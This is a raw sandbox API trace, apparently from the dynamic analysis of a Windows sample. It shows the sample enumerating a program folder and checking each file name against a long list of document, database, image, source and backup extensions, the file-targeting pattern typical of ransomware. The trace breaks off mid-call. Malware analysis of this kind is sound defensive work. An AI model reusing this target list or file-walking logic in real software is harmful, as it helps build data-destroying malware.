HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0139.651] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-TW") returned 100 [0139.651] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-TW") returned 1 [0139.651] lstrlenW (lpString="zh-TW") returned 5 [0139.651] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="zh-TW") returned -1 [0139.651] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x456ff68 [0139.651] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-TW") returned 100 [0139.651] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-TW\\*", lpFindFileData=0x3a0eb94 | out: lpFindFileData=0x3a0eb94) returned 0x3e5c1d8 [0139.653] FindNextFileW (in: hFindFile=0x3e5c1d8, lpFindFileData=0x3a0eb94 | out: lpFindFileData=0x3a0eb94) returned 1 [0139.653] FindNextFileW (in: hFindFile=0x3e5c1d8, lpFindFileData=0x3a0eb94 | out: lpFindFileData=0x3a0eb94) returned 1 [0139.653] lstrlenW (lpString="index.html") returned 10 [0139.653] lstrlenW (lpString=".1cd") returned 4 [0139.653] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1 [0139.653] lstrlenW (lpString=".3ds") returned 4 [0139.653] lstrcmpiW (lpString1=".3ds", lpString2="html") returned -1 [0139.653] lstrlenW (lpString=".3fr") returned 4 [0139.653] lstrcmpiW (lpString1=".3fr", lpString2="html") returned -1 [0139.653] lstrlenW (lpString=".3g2") returned 4 [0139.653] lstrcmpiW (lpString1=".3g2", lpString2="html") returned -1 [0139.653] lstrlenW (lpString=".3gp") returned 4 [0139.654] lstrcmpiW (lpString1=".3gp", lpString2="html") returned -1 [0139.654] lstrlenW (lpString=".7z") returned 3 [0139.654] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1 [0139.654] lstrlenW (lpString=".accda") returned 6 [0139.654] lstrcmpiW (lpString1=".accda", lpString2="x.html") returned -1 [0139.654] lstrlenW (lpString=".accdb") returned 6 [0139.654] lstrcmpiW (lpString1=".accdb", lpString2="x.html") returned -1 [0139.654] lstrlenW (lpString=".accdc") returned 6 [0139.654] lstrcmpiW (lpString1=".accdc", lpString2="x.html") returned -1 [0139.654] lstrlenW (lpString=".accde") returned 6 [0139.654] lstrcmpiW (lpString1=".accde", lpString2="x.html") returned -1 [0139.654] lstrlenW (lpString=".accdt") returned 6 [0139.654] lstrcmpiW (lpString1=".accdt", lpString2="x.html") returned -1 [0139.654] lstrlenW (lpString=".accdw") returned 6 [0139.654] lstrcmpiW (lpString1=".accdw", lpString2="x.html") returned -1 [0139.654] lstrlenW (lpString=".adb") returned 4 [0139.654] lstrcmpiW (lpString1=".adb", lpString2="html") returned -1 [0139.654] lstrlenW (lpString=".adp") returned 4 [0139.654] lstrcmpiW (lpString1=".adp", lpString2="html") returned -1 [0139.654] lstrlenW (lpString=".ai") returned 3 [0139.654] lstrcmpiW (lpString1=".ai", lpString2="tml") returned -1 [0139.654] lstrlenW (lpString=".ai3") returned 4 [0139.654] lstrcmpiW (lpString1=".ai3", lpString2="html") returned -1 [0139.654] lstrlenW (lpString=".ai4") returned 4 [0139.654] lstrcmpiW (lpString1=".ai4", lpString2="html") returned -1 [0139.654] lstrlenW (lpString=".ai5") returned 4 [0139.654] lstrcmpiW (lpString1=".ai5", lpString2="html") returned -1 [0139.654] lstrlenW (lpString=".ai6") returned 4 [0139.654] lstrcmpiW (lpString1=".ai6", lpString2="html") returned -1 [0139.654] lstrlenW (lpString=".ai7") returned 4 [0139.654] lstrcmpiW (lpString1=".ai7", lpString2="html") returned -1 [0139.654] lstrlenW (lpString=".ai8") returned 4 [0139.655] lstrcmpiW (lpString1=".ai8", lpString2="html") returned -1 [0139.655] lstrlenW (lpString=".anim") returned 5 [0139.655] lstrcmpiW (lpString1=".anim", lpString2=".html") returned -1 [0139.655] lstrlenW (lpString=".arw") returned 4 [0139.655] lstrcmpiW (lpString1=".arw", lpString2="html") returned -1 [0139.655] lstrlenW (lpString=".as") returned 3 [0139.655] lstrcmpiW (lpString1=".as", lpString2="tml") returned -1 [0139.655] lstrlenW (lpString=".asa") returned 4 [0139.655] lstrcmpiW (lpString1=".asa", lpString2="html") returned -1 [0139.655] lstrlenW (lpString=".asc") returned 4 [0139.655] lstrcmpiW (lpString1=".asc", lpString2="html") returned -1 [0139.655] lstrlenW (lpString=".ascx") returned 5 [0139.655] lstrcmpiW (lpString1=".ascx", lpString2=".html") returned -1 [0139.655] lstrlenW (lpString=".asm") returned 4 [0139.655] lstrcmpiW (lpString1=".asm", lpString2="html") returned -1 [0139.655] lstrlenW (lpString=".asmx") returned 5 [0139.655] lstrcmpiW (lpString1=".asmx", lpString2=".html") returned -1 [0139.655] lstrlenW (lpString=".asp") returned 4 [0139.655] lstrcmpiW (lpString1=".asp", lpString2="html") returned -1 [0139.655] lstrlenW (lpString=".aspx") returned 5 [0139.655] lstrcmpiW (lpString1=".aspx", lpString2=".html") returned -1 [0139.655] lstrlenW (lpString=".asr") returned 4 [0139.655] lstrcmpiW (lpString1=".asr", lpString2="html") returned -1 [0139.655] lstrlenW (lpString=".asx") returned 4 [0139.655] lstrcmpiW (lpString1=".asx", lpString2="html") returned -1 [0139.656] lstrlenW (lpString=".avi") returned 4 [0139.656] lstrcmpiW (lpString1=".avi", lpString2="html") returned -1 [0139.656] lstrlenW (lpString=".avs") returned 4 [0139.656] lstrcmpiW (lpString1=".avs", lpString2="html") returned -1 [0139.656] lstrlenW (lpString=".backup") returned 7 [0139.656] lstrcmpiW (lpString1=".backup", lpString2="ex.html") returned -1 [0139.656] lstrlenW (lpString=".bak") returned 4 [0139.656] lstrcmpiW (lpString1=".bak", lpString2="html") returned -1 [0139.656] lstrlenW (lpString=".bay") returned 4 [0139.656] lstrcmpiW (lpString1=".bay", lpString2="html") returned -1 [0139.656] lstrlenW (lpString=".bd") returned 3 [0139.656] lstrcmpiW (lpString1=".bd", lpString2="tml") returned -1 [0139.656] lstrlenW (lpString=".bin") returned 4 [0139.656] lstrcmpiW (lpString1=".bin", lpString2="html") returned -1 [0139.656] lstrlenW (lpString=".bmp") returned 4 [0139.656] lstrcmpiW (lpString1=".bmp", lpString2="html") returned -1 [0139.656] lstrlenW (lpString=".bz2") returned 4 [0139.656] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1 [0139.656] lstrlenW (lpString=".c") returned 2 [0139.656] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1 [0139.656] lstrlenW (lpString=".cdr") returned 4 [0139.656] lstrcmpiW (lpString1=".cdr", lpString2="html") returned -1 [0139.656] lstrlenW (lpString=".cer") returned 4 [0139.656] lstrcmpiW (lpString1=".cer", lpString2="html") returned -1 [0139.656] lstrlenW (lpString=".cf") returned 3 [0139.656] lstrcmpiW (lpString1=".cf", lpString2="tml") returned -1 [0139.656] lstrlenW (lpString=".cfc") returned 4 [0139.656] lstrcmpiW (lpString1=".cfc", lpString2="html") returned -1 [0139.657] lstrlenW (lpString=".cfm") returned 4 [0139.657] lstrcmpiW (lpString1=".cfm", lpString2="html") returned -1 [0139.657] lstrlenW (lpString=".cfml") returned 5 [0139.657] lstrcmpiW (lpString1=".cfml", lpString2=".html") returned -1 [0139.657] lstrlenW (lpString=".cfu") returned 4 [0139.657] lstrcmpiW (lpString1=".cfu", lpString2="html") returned -1 [0139.657] lstrlenW (lpString=".chm") returned 4 [0139.657] lstrcmpiW (lpString1=".chm", lpString2="html") returned -1 [0139.657] lstrlenW (lpString=".cin") returned 4 [0139.657] lstrcmpiW (lpString1=".cin", lpString2="html") returned -1 [0139.657] lstrlenW (lpString=".class") returned 6 [0139.657] lstrcmpiW (lpString1=".class", lpString2="x.html") returned -1 [0139.662] lstrlenW (lpString=".clx") returned 4 [0139.662] lstrcmpiW (lpString1=".clx", lpString2="html") returned -1 [0139.662] lstrlenW (lpString=".config") returned 7 [0139.662] lstrcmpiW (lpString1=".config", lpString2="ex.html") returned -1 [0139.662] lstrlenW (lpString=".cpp") returned 4 [0139.662] lstrcmpiW (lpString1=".cpp", lpString2="html") returned -1 [0139.662] lstrlenW (lpString=".cr2") returned 4 [0139.662] lstrcmpiW (lpString1=".cr2", lpString2="html") returned -1 [0139.662] lstrlenW (lpString=".crt") returned 4 [0139.662] lstrcmpiW (lpString1=".crt", lpString2="html") returned -1 [0139.662] lstrlenW (lpString=".crw") returned 4 [0139.662] lstrcmpiW (lpString1=".crw", lpString2="html") returned -1 [0139.662] lstrlenW (lpString=".cs") returned 3 [0139.663] lstrcmpiW (lpString1=".cs", lpString2="tml") returned -1 [0139.663] lstrlenW (lpString=".css") returned 4 [0139.663] lstrcmpiW (lpString1=".css", lpString2="html") returned -1 [0139.663] lstrlenW (lpString=".csv") returned 4 [0139.663] lstrcmpiW (lpString1=".csv", lpString2="html") returned -1 [0139.663] lstrlenW (lpString=".cub") returned 4 [0139.663] lstrcmpiW (lpString1=".cub", lpString2="html") returned -1 [0139.663] lstrlenW (lpString=".dae") returned 4 [0139.663] lstrcmpiW (lpString1=".dae", lpString2="html") returned -1 [0139.663] lstrlenW (lpString=".dat") returned 4 [0139.663] lstrcmpiW (lpString1=".dat", lpString2="html") returned -1 [0139.663] lstrlenW (lpString=".db") returned 3 [0139.663] lstrcmpiW (lpString1=".db", lpString2="tml") returned -1 [0139.663] lstrlenW (lpString=".dbf") returned 4 [0139.663] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1 [0139.663] lstrlenW (lpString=".dbx") returned 4 [0139.663] lstrcmpiW (lpString1=".dbx", lpString2="html") returned -1 [0139.663] lstrlenW (lpString=".dc3") returned 4 [0139.663] lstrcmpiW (lpString1=".dc3", lpString2="html") returned -1 [0139.663] lstrlenW (lpString=".dcm") returned 4 [0139.663] lstrcmpiW (lpString1=".dcm", lpString2="html") returned -1 [0139.663] lstrlenW (lpString=".dcr") returned 4 [0139.663] lstrcmpiW (lpString1=".dcr", lpString2="html") returned -1 [0139.663] lstrlenW (lpString=".der") returned 4 [0139.663] lstrcmpiW (lpString1=".der", lpString2="html") returned -1 [0139.663] lstrlenW (lpString=".dib") returned 4 [0139.663] lstrcmpiW (lpString1=".dib", lpString2="html") returned -1 [0139.663] lstrlenW (lpString=".dic") returned 4 [0139.663] lstrcmpiW (lpString1=".dic", lpString2="html") returned -1 [0139.663] lstrlenW (lpString=".dif") returned 4 [0139.663] lstrcmpiW (lpString1=".dif", lpString2="html") returned -1 [0139.663] lstrlenW (lpString=".divx") returned 5 [0139.663] lstrcmpiW (lpString1=".divx", lpString2=".html") returned -1 [0139.663] lstrlenW (lpString=".djvu") returned 5 [0139.663] lstrcmpiW (lpString1=".djvu", lpString2=".html") returned -1 [0139.664] lstrlenW (lpString=".dng") returned 4 [0139.664] lstrcmpiW (lpString1=".dng", lpString2="html") returned -1 [0139.664] lstrlenW (lpString=".doc") returned 4 [0139.664] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1 [0139.664] lstrlenW (lpString=".docm") returned 5 [0139.664] lstrcmpiW (lpString1=".docm", lpString2=".html") returned -1 [0139.664] lstrlenW (lpString=".docx") returned 5 [0139.664] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1 [0139.664] lstrlenW (lpString=".dot") returned 4 [0139.664] lstrcmpiW (lpString1=".dot", lpString2="html") returned -1 [0139.664] lstrlenW (lpString=".dotm") returned 5 [0139.664] lstrcmpiW (lpString1=".dotm", lpString2=".html") returned -1 [0139.664] lstrlenW (lpString=".dotx") returned 5 [0139.664] lstrcmpiW (lpString1=".dotx", lpString2=".html") returned -1 [0139.664] lstrlenW (lpString=".dpx") returned 4 [0139.664] lstrcmpiW (lpString1=".dpx", lpString2="html") returned -1 [0139.664] lstrlenW (lpString=".dqy") returned 4 [0139.664] lstrcmpiW (lpString1=".dqy", lpString2="html") returned -1 [0139.664] lstrlenW (lpString=".dsn") returned 4 [0139.664] lstrcmpiW (lpString1=".dsn", lpString2="html") returned -1 [0139.664] lstrlenW (lpString=".dt") returned 3 [0139.664] lstrcmpiW (lpString1=".dt", lpString2="tml") returned -1 [0139.664] lstrlenW (lpString=".dtd") returned 4 [0139.664] lstrcmpiW (lpString1=".dtd", lpString2="html") returned -1 [0139.664] lstrlenW (lpString=".dwg") returned 4 [0139.664] lstrcmpiW (lpString1=".dwg", lpString2="html") returned -1 [0139.664] lstrlenW (lpString=".dwt") returned 4 [0139.664] lstrcmpiW (lpString1=".dwt", lpString2="html") returned -1 [0139.664] lstrlenW (lpString=".dx") returned 3 [0139.665] lstrcmpiW (lpString1=".dx", lpString2="tml") returned -1 [0139.665] lstrlenW (lpString=".dxf") returned 4 [0139.665] lstrcmpiW (lpString1=".dxf", lpString2="html") returned -1 [0139.665] lstrlenW (lpString=".edml") returned 5 [0139.665] lstrcmpiW (lpString1=".edml", lpString2=".html") returned -1 [0139.665] lstrlenW (lpString=".efd") returned 4 [0139.665] lstrcmpiW (lpString1=".efd", lpString2="html") returned -1 [0139.665] lstrlenW (lpString=".elf") returned 4 [0139.665] lstrcmpiW (lpString1=".elf", lpString2="html") returned -1 [0139.665] lstrlenW (lpString=".emf") returned 4 [0139.665] lstrcmpiW (lpString1=".emf", lpString2="html") returned -1 [0139.665] lstrlenW (lpString=".emz") returned 4 [0139.665] lstrcmpiW (lpString1=".emz", lpString2="html") returned -1 [0139.665] lstrlenW (lpString=".epf") returned 4 [0139.665] lstrcmpiW (lpString1=".epf", lpString2="html") returned -1 [0139.665] lstrlenW (lpString=".eps") returned 4 [0139.665] lstrcmpiW (lpString1=".eps", lpString2="html") returned -1 [0139.665] lstrlenW (lpString=".epsf") returned 5 [0139.665] lstrcmpiW (lpString1=".epsf", lpString2=".html") returned -1 [0139.665] lstrlenW (lpString=".epsp") returned 5 [0139.665] lstrcmpiW (lpString1=".epsp", lpString2=".html") returned -1 [0139.665] lstrlenW (lpString=".erf") returned 4 [0139.665] lstrcmpiW (lpString1=".erf", lpString2="html") returned -1 [0139.665] lstrlenW (lpString=".exr") returned 4 [0139.665] lstrcmpiW (lpString1=".exr", lpString2="html") returned -1 [0139.665] lstrlenW (lpString=".f4v") returned 4 [0139.665] lstrcmpiW (lpString1=".f4v", lpString2="html") returned -1 [0139.665] lstrlenW (lpString=".fido") returned 5 [0139.665] lstrcmpiW (lpString1=".fido", lpString2=".html") returned -1 [0139.665] lstrlenW (lpString=".flm") returned 4 [0139.665] lstrcmpiW (lpString1=".flm", lpString2="html") returned -1 [0139.665] lstrlenW (lpString=".flv") returned 4 [0139.665] lstrcmpiW (lpString1=".flv", lpString2="html") returned -1 [0139.666] lstrlenW (lpString=".frm") returned 4 [0139.666] lstrcmpiW (lpString1=".frm", lpString2="html") returned -1 [0139.666] lstrlenW (lpString=".fxg") returned 4 [0139.666] lstrcmpiW (lpString1=".fxg", lpString2="html") returned -1 [0139.666] lstrlenW (lpString=".geo") returned 4 [0139.666] lstrcmpiW (lpString1=".geo", lpString2="html") returned -1 [0139.666] lstrlenW (lpString=".gif") returned 4 [0139.666] lstrcmpiW (lpString1=".gif", lpString2="html") returned -1 [0139.666] lstrlenW (lpString=".grs") returned 4 [0139.666] lstrcmpiW (lpString1=".grs", lpString2="html") returned -1 [0139.666] lstrlenW (lpString=".gz") returned 3 [0139.666] lstrcmpiW (lpString1=".gz", lpString2="tml") returned -1 [0139.666] lstrlenW (lpString=".h") returned 2 [0139.666] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1 [0139.666] lstrlenW (lpString=".hdr") returned 4 [0139.666] lstrcmpiW (lpString1=".hdr", lpString2="html") returned -1 [0139.666] lstrlenW (lpString=".hpp") returned 4 [0139.666] lstrcmpiW (lpString1=".hpp", lpString2="html") returned -1 [0139.666] lstrlenW (lpString=".hta") returned 4 [0139.666] lstrcmpiW (lpString1=".hta", lpString2="html") returned -1 [0139.666] lstrlenW (lpString=".htc") returned 4 [0139.666] lstrcmpiW (lpString1=".htc", lpString2="html") returned -1 [0139.666] lstrlenW (lpString=".htm") returned 4 [0139.666] lstrcmpiW (lpString1=".htm", lpString2="html") returned -1 [0139.666] lstrlenW (lpString=".html") returned 5 [0139.666] lstrcmpiW (lpString1=".html", lpString2=".html") returned 0 [0139.666] FindNextFileW (in: hFindFile=0x3e5c1d8, lpFindFileData=0x3a0eb94 | out: lpFindFileData=0x3a0eb94) returned 1 [0139.666] lstrlenW (lpString="toastbeginupgrade.xml") returned 21 [0139.666] lstrlenW (lpString=".1cd") returned 4 [0139.667] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0139.667] lstrlenW (lpString=".3ds") returned 4 [0139.667] lstrcmpiW (lpString1=".3ds", lpString2=".xml") returned -1 [0139.667] lstrlenW (lpString=".3fr") returned 4 [0139.667] lstrcmpiW (lpString1=".3fr", lpString2=".xml") returned -1 [0139.667] lstrlenW (lpString=".3g2") returned 4 [0139.667] lstrcmpiW (lpString1=".3g2", lpString2=".xml") returned -1 [0139.667] lstrlenW (lpString=".3gp") returned 4 [0139.667] lstrcmpiW (lpString1=".3gp", lpString2=".xml") returned -1 [0139.667] lstrlenW (lpString=".7z") returned 3 [0139.667] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0139.667] lstrlenW (lpString=".accda") returned 6 [0139.667] lstrcmpiW (lpString1=".accda", lpString2="de.xml") returned -1 [0139.667] lstrlenW (lpString=".accdb") returned 6 [0139.667] lstrcmpiW (lpString1=".accdb", lpString2="de.xml") returned -1 [0139.667] lstrlenW (lpString=".accdc") returned 6 [0139.667] lstrcmpiW (lpString1=".accdc", lpString2="de.xml") returned -1 [0139.667] lstrlenW (lpString=".accde") returned 6 [0139.667] lstrcmpiW (lpString1=".accde", lpString2="de.xml") returned -1 [0139.667] lstrlenW (lpString=".accdt") returned 6 [0139.667] lstrcmpiW (lpString1=".accdt", lpString2="de.xml") returned -1 [0139.667] lstrlenW (lpString=".accdw") returned 6 [0139.667] lstrcmpiW (lpString1=".accdw", lpString2="de.xml") returned -1 [0139.667] lstrlenW (lpString=".adb") returned 4 [0139.667] lstrcmpiW (lpString1=".adb", lpString2=".xml") returned -1 [0139.667] lstrlenW (lpString=".adp") returned 4 [0139.667] lstrcmpiW (lpString1=".adp", lpString2=".xml") returned -1 [0139.667] lstrlenW (lpString=".ai") returned 3 [0139.667] lstrcmpiW (lpString1=".ai", lpString2="xml") returned -1 [0139.667] lstrlenW (lpString=".ai3") returned 4 [0139.667] lstrcmpiW (lpString1=".ai3", lpString2=".xml") returned -1 [0139.667] lstrlenW (lpString=".ai4") returned 4 [0139.667] lstrcmpiW (lpString1=".ai4", lpString2=".xml") returned -1 [0139.668] lstrlenW (lpString=".ai5") returned 4 [0139.668] lstrcmpiW (lpString1=".ai5", lpString2=".xml") returned -1 [0139.668] lstrlenW (lpString=".ai6") returned 4 [0139.668] lstrcmpiW (lpString1=".ai6", lpString2=".xml") returned -1 [0139.668] lstrlenW (lpString=".ai7") returned 4 [0139.668] lstrcmpiW (lpString1=".ai7", lpString2=".xml") returned -1 [0139.668] lstrlenW (lpString=".ai8") returned 4 [0139.668] lstrcmpiW (lpString1=".ai8", lpString2=".xml") returned -1 [0139.668] lstrlenW (lpString=".anim") returned 5 [0139.668] lstrcmpiW (lpString1=".anim", lpString2="e.xml") returned -1 [0139.668] lstrlenW (lpString=".arw") returned 4 [0139.668] lstrcmpiW (lpString1=".arw", lpString2=".xml") returned -1 [0139.668] lstrlenW (lpString=".as") returned 3 [0139.668] lstrcmpiW (lpString1=".as", lpString2="xml") returned -1 [0139.668] lstrlenW (lpString=".asa") returned 4 [0139.668] lstrcmpiW (lpString1=".asa", lpString2=".xml") returned -1 [0139.668] lstrlenW (lpString=".asc") returned 4 [0139.668] lstrcmpiW (lpString1=".asc", lpString2=".xml") returned -1 [0139.668] lstrlenW (lpString=".ascx") returned 5 [0139.668] lstrcmpiW (lpString1=".ascx", lpString2="e.xml") returned -1 [0139.668] lstrlenW (lpString=".asm") returned 4 [0139.668] lstrcmpiW (lpString1=".asm", lpString2=".xml") returned -1 [0139.668] lstrlenW (lpString=".asmx") returned 5 [0139.668] lstrcmpiW (lpString1=".asmx", lpString2="e.xml") returned -1 [0139.668] lstrlenW (lpString=".asp") returned 4 [0139.668] lstrcmpiW (lpString1=".asp", lpString2=".xml") returned -1 [0139.668] lstrlenW (lpString=".aspx") returned 5 [0139.668] lstrcmpiW (lpString1=".aspx", lpString2="e.xml") returned -1 [0139.668] lstrlenW (lpString=".asr") returned 4 [0139.668] lstrcmpiW (lpString1=".asr", lpString2=".xml") returned -1 [0139.668] lstrlenW (lpString=".asx") returned 4 [0139.668] lstrcmpiW (lpString1=".asx", lpString2=".xml") returned -1 [0139.668] lstrlenW (lpString=".avi") returned 4 [0139.668] lstrcmpiW (lpString1=".avi", lpString2=".xml") returned -1 [0139.669] lstrlenW (lpString=".avs") returned 4 [0139.669] lstrcmpiW (lpString1=".avs", lpString2=".xml") returned -1 [0139.669] lstrlenW (lpString=".backup") returned 7 [0139.669] lstrcmpiW (lpString1=".backup", lpString2="ade.xml") returned -1 [0139.669] lstrlenW (lpString=".bak") returned 4 [0139.669] lstrcmpiW (lpString1=".bak", lpString2=".xml") returned -1 [0139.669] lstrlenW (lpString=".bay") returned 4 [0139.669] lstrcmpiW (lpString1=".bay", lpString2=".xml") returned -1 [0139.669] lstrlenW (lpString=".bd") returned 3 [0139.669] lstrcmpiW (lpString1=".bd", lpString2="xml") returned -1 [0139.669] lstrlenW (lpString=".bin") returned 4 [0139.669] lstrcmpiW (lpString1=".bin", lpString2=".xml") returned -1 [0139.669] lstrlenW (lpString=".bmp") returned 4 [0139.669] lstrcmpiW (lpString1=".bmp", lpString2=".xml") returned -1 [0139.669] lstrlenW (lpString=".bz2") returned 4 [0139.669] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0139.669] lstrlenW (lpString=".c") returned 2 [0139.669] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1 [0139.669] lstrlenW (lpString=".cdr") returned 4 [0139.669] lstrcmpiW (lpString1=".cdr", lpString2=".xml") returned -1 [0139.669] lstrlenW (lpString=".cer") returned 4 [0139.669] lstrcmpiW (lpString1=".cer", lpString2=".xml") returned -1 [0139.669] lstrlenW (lpString=".cf") returned 3 [0139.669] lstrcmpiW (lpString1=".cf", lpString2="xml") returned -1 [0139.669] lstrlenW (lpString=".cfc") returned 4 [0139.669] lstrcmpiW (lpString1=".cfc", lpString2=".xml") returned -1 [0139.669] lstrlenW (lpString=".cfm") returned 4 [0139.669] lstrcmpiW (lpString1=".cfm", lpString2=".xml") returned -1 [0139.669] lstrlenW (lpString=".cfml") returned 5 [0139.669] lstrcmpiW (lpString1=".cfml", lpString2="e.xml") returned -1 [0139.669] lstrlenW (lpString=".cfu") returned 4 [0139.669] lstrcmpiW (lpString1=".cfu", lpString2=".xml") returned -1 [0139.669] lstrlenW (lpString=".chm") returned 4 [0139.669] lstrcmpiW (lpString1=".chm", lpString2=".xml") returned -1 [0139.670] lstrlenW (lpString=".cin") returned 4 [0139.670] lstrcmpiW (lpString1=".cin", lpString2=".xml") returned -1 [0139.670] lstrlenW (lpString=".class") returned 6 [0139.670] lstrcmpiW (lpString1=".class", lpString2="de.xml") returned -1 [0139.670] lstrlenW (lpString=".clx") returned 4 [0139.670] lstrcmpiW (lpString1=".clx", lpString2=".xml") returned -1 [0139.670] lstrlenW (lpString=".config") returned 7 [0139.670] lstrcmpiW (lpString1=".config", lpString2="ade.xml") returned -1 [0139.670] lstrlenW (lpString=".cpp") returned 4 [0139.670] lstrcmpiW (lpString1=".cpp", lpString2=".xml") returned -1 [0139.670] lstrlenW (lpString=".cr2") returned 4 [0139.670] lstrcmpiW (lpString1=".cr2", lpString2=".xml") returned -1 [0139.670] lstrlenW (lpString=".crt") returned 4 [0139.670] lstrcmpiW (lpString1=".crt", lpString2=".xml") returned -1 [0139.670] lstrlenW (lpString=".crw") returned 4 [0139.670] lstrcmpiW (lpString1=".crw", lpString2=".xml") returned -1 [0139.670] lstrlenW (lpString=".cs") returned 3 [0139.670] lstrcmpiW (lpString1=".cs", lpString2="xml") returned -1 [0139.670] lstrlenW (lpString=".css") returned 4 [0139.670] lstrcmpiW (lpString1=".css", lpString2=".xml") returned -1 [0139.670] lstrlenW (lpString=".csv") returned 4 [0139.670] lstrcmpiW (lpString1=".csv", lpString2=".xml") returned -1 [0139.670] lstrlenW (lpString=".cub") returned 4 [0139.670] lstrcmpiW (lpString1=".cub", lpString2=".xml") returned -1 [0139.670] lstrlenW (lpString=".dae") returned 4 [0139.670] lstrcmpiW (lpString1=".dae", lpString2=".xml") returned -1 [0139.670] lstrlenW (lpString=".dat") returned 4 [0139.670] lstrcmpiW (lpString1=".dat", lpString2=".xml") returned -1 [0139.670] lstrlenW (lpString=".db") returned 3 [0139.670] lstrcmpiW (lpString1=".db", lpString2="xml") returned -1 [0139.670] lstrlenW (lpString=".dbf") returned 4 [0139.670] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0139.670] lstrlenW (lpString=".dbx") returned 4 [0139.670] lstrcmpiW (lpString1=".dbx", lpString2=".xml") returned -1 [0139.670] lstrlenW (lpString=".dc3") returned 4 [0139.671] lstrcmpiW (lpString1=".dc3", lpString2=".xml") returned -1 [0139.671] lstrlenW (lpString=".dcm") returned 4 [0139.671] lstrcmpiW (lpString1=".dcm", lpString2=".xml") returned -1 [0139.671] lstrlenW (lpString=".dcr") returned 4 [0139.671] lstrcmpiW (lpString1=".dcr", lpString2=".xml") returned -1 [0139.671] lstrlenW (lpString=".der") returned 4 [0139.671] lstrcmpiW (lpString1=".der", lpString2=".xml") returned -1 [0139.671] lstrlenW (lpString=".dib") returned 4 [0139.671] lstrcmpiW (lpString1=".dib", lpString2=".xml") returned -1 [0139.671] lstrlenW (lpString=".dic") returned 4 [0139.671] lstrcmpiW (lpString1=".dic", lpString2=".xml") returned -1 [0139.671] lstrlenW (lpString=".dif") returned 4 [0139.671] lstrcmpiW (lpString1=".dif", lpString2=".xml") returned -1 [0139.671] lstrlenW (lpString=".divx") returned 5 [0139.671] lstrcmpiW (lpString1=".divx", lpString2="e.xml") returned -1 [0139.671] lstrlenW (lpString=".djvu") returned 5 [0139.671] lstrcmpiW (lpString1=".djvu", lpString2="e.xml") returned -1 [0139.671] lstrlenW (lpString=".dng") returned 4 [0139.671] lstrcmpiW (lpString1=".dng", lpString2=".xml") returned -1 [0139.671] lstrlenW (lpString=".doc") returned 4 [0139.671] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0139.671] lstrlenW (lpString=".docm") returned 5 [0139.671] lstrcmpiW (lpString1=".docm", lpString2="e.xml") returned -1 [0139.671] lstrlenW (lpString=".docx") returned 5 [0139.671] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0139.671] lstrlenW (lpString=".dot") returned 4 [0139.671] lstrcmpiW (lpString1=".dot", lpString2=".xml") returned -1 [0139.671] lstrlenW (lpString=".dotm") returned 5 [0139.671] lstrcmpiW (lpString1=".dotm", lpString2="e.xml") returned -1 [0139.671] lstrlenW (lpString=".dotx") returned 5 [0139.671] lstrcmpiW (lpString1=".dotx", lpString2="e.xml") returned -1 [0139.671] lstrlenW (lpString=".dpx") returned 4 [0139.671] lstrcmpiW (lpString1=".dpx", lpString2=".xml") returned -1 [0139.671] lstrlenW (lpString=".dqy") returned 4 [0139.672] lstrcmpiW (lpString1=".dqy", lpString2=".xml") returned -1 [0139.672] lstrlenW (lpString=".dsn") returned 4 [0139.672] lstrcmpiW (lpString1=".dsn", lpString2=".xml") returned -1 [0139.672] lstrlenW (lpString=".dt") returned 3 [0139.672] lstrcmpiW (lpString1=".dt", lpString2="xml") returned -1 [0139.672] lstrlenW (lpString=".dtd") returned 4 [0139.672] lstrcmpiW (lpString1=".dtd", lpString2=".xml") returned -1 [0139.672] lstrlenW (lpString=".dwg") returned 4 [0139.672] lstrcmpiW (lpString1=".dwg", lpString2=".xml") returned -1 [0139.672] lstrlenW (lpString=".dwt") returned 4 [0139.672] lstrcmpiW (lpString1=".dwt", lpString2=".xml") returned -1 [0139.672] lstrlenW (lpString=".dx") returned 3 [0139.672] lstrcmpiW (lpString1=".dx", lpString2="xml") returned -1 [0139.672] lstrlenW (lpString=".dxf") returned 4 [0139.672] lstrcmpiW (lpString1=".dxf", lpString2=".xml") returned -1 [0139.672] lstrlenW (lpString=".edml") returned 5 [0139.672] lstrcmpiW (lpString1=".edml", lpString2="e.xml") returned -1 [0139.672] lstrlenW (lpString=".efd") returned 4 [0139.672] lstrcmpiW (lpString1=".efd", lpString2=".xml") returned -1 [0139.672] lstrlenW (lpString=".elf") returned 4 [0139.672] lstrcmpiW (lpString1=".elf", lpString2=".xml") returned -1 [0139.672] lstrlenW (lpString=".emf") returned 4 [0139.672] lstrcmpiW (lpString1=".emf", lpString2=".xml") returned -1 [0139.672] lstrlenW (lpString=".emz") returned 4 [0139.672] lstrcmpiW (lpString1=".emz", lpString2=".xml") returned -1 [0139.672] lstrlenW (lpString=".epf") returned 4 [0139.672] lstrcmpiW (lpString1=".epf", lpString2=".xml") returned -1 [0139.672] lstrlenW (lpString=".eps") returned 4 [0139.676] lstrcmpiW 